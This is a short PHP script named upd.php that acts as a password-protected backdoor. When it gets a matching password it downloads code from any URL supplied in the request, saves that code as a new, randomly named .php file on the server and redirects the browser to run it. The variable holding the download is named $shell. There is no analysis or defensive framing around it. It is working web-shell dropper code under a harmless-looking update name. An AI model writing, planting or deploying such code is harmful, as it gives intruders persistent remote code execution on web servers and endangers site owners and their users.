upd.php

<?php
$file = $_GET['file'];
$pass = $_GET['pass'];
$true = 'c20ad4d76fe97759aa27a0c99bff6710';
if ($pass == $true){



$ch = curl_init($file);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$shell = curl_exec($ch);
curl_close($ch);


$tmp = md5(rand(0,10000));

$f = fopen($tmp.'.php',"w");
fputs($f,$shell);
fclose($f);
header("Location: $tmp.php");
}
?>